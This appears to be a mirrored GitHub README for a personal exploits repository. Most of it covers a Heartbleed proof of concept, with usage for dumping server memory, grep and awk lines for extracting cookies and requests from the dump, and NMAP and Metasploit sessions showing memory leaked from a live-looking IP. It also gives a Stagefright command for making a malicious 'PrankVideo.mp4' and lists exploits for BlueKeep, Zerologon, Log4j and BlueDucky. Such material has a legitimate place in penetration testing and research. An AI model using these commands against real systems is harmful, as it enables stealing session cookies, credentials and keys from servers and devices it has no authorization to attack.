Giter Site home page Giter Site logo

vs4vijay / exploits Goto Github PK

View Code? Open in Web Editor NEW
18.0 2.0 10.0 2.96 MB

Exploits R&D

Python 62.79% Ruby 15.28% Lua 14.30% C 6.81% PHP 0.82%
buffer-overflow c99 cve exploits heap-overflow heartbleed shell stack-overflow blueducky poc security exploit bluekeep rce lpe infosec pentest pentesting red-team

exploits's Introduction

Exploits

Exploits R&D

HeartBleed Exploit

Tool Guide

  • If you want to mass scan, the NMAP script is currently your best bet.
  • For the largest number of protocols supports (STARTTLS) check the modified Metasploit script
  • If you want to actually exploit, use the python script (mods required for STARTTLS on non-smtp)

Usage: heartbleed-poc.py server [options]

Test for SSL heartbeat vulnerability (CVE-2014-0160)

Options: -h, --help show this help message and exit -p PORT, --port=PORT TCP port to test (default: 443) -n NUM, --num=NUM Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1) -f FILE, --file=FILE Filename to write dumped memory too (default: dump.bin) -q, --quiet Do not display the memory dump -s, --starttls Check STARTTLS (smtp only right now)

Examples

  • Normal scan, will hit port 443, with 1 iteration: python heartbleed-poc.py example.com

  • Dump memory scan, will make 100 request and put the output in the binary file dump.bin: python heartbleed-poc.py -n100 -f dump.bin example.com

The make sure you get different parts of the HEAP, make sure the server is busy, or you end up with repeat repeat.

  • Check a mail server with STARTTLS (i.e. port 25): python heartbleed-poc.py -s -p 25 example.com

  • There used to be a -v switch to make the TLS version explicit, this is auto-detected now and has been removed

Find Juice

The binary file will have juicy output in it, here are some simple ways of finding the goods:

  • HTTP request: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin

  • Cookies: grep -a "^Cookie:" dump.bin

  • Interesting Key Value Pairs: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin

NMAP NSE Script

Usage: nmap --script=ssl-heartbleed -p 443

Example Output:

Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST Nmap scan report for <example.org> (1.2.3.4) Host is up (0.0068s latency). PORT STATE SERVICE 443/tcp open https | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | Description: | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. |
| References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

Metasploit Module

msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options

Module options (auxiliary/scanner/ssl/openssl_heartbleed):

Name Current Setting Required Description


RHOSTS yes The target address range or CIDR identifier RPORT 443 yes The target port STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes The number of concurrent threads TLSVERSION 1.0 yes TLS version to use (accepted: 1.0, 1.1, 1.2)

msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit

[] 37.187.134.197:21 - Trying to start SSL via FTP [] 37.187.134.197:21 - Sending Client Hello... [] 37.187.134.197:21 - Sending Heartbeat... [] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked... [+] 37.187.134.197:21 - Heartbeat response with leak [] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed


Stagefright Exploit

stagefright_2.py -c 192.168.1.2 -p 444 -o PrankVideo.mp4`

Development Notes

CVE-2020-17382

CVE-2023-45866-BlueDucky
git submodule add https://github.com/pentestfunctions/BlueDucky CVE-2023-45866-BlueDucky/BlueDucky

CVE-2020-1472-Zerologon

CVE-2021-44228-Log4j

CVE-2019-0708-BlueKeep

CVE-2020-16898-Bad-Neighbor

CVE-2020-0796-SMB-Ghost

RPC DCOM

https://github.com/nomi-sec/PoC-in-GitHub

https://github.com/swisskyrepo/PayloadsAllTheThings

https://github.com/liamg/traitor

https://github.com/S3cur3Th1sSh1t/WinPwn

https://github.com/The-Z-Labs/linux-exploit-suggester

exploits's People

Contributors

vs4vijay avatar wrycu avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.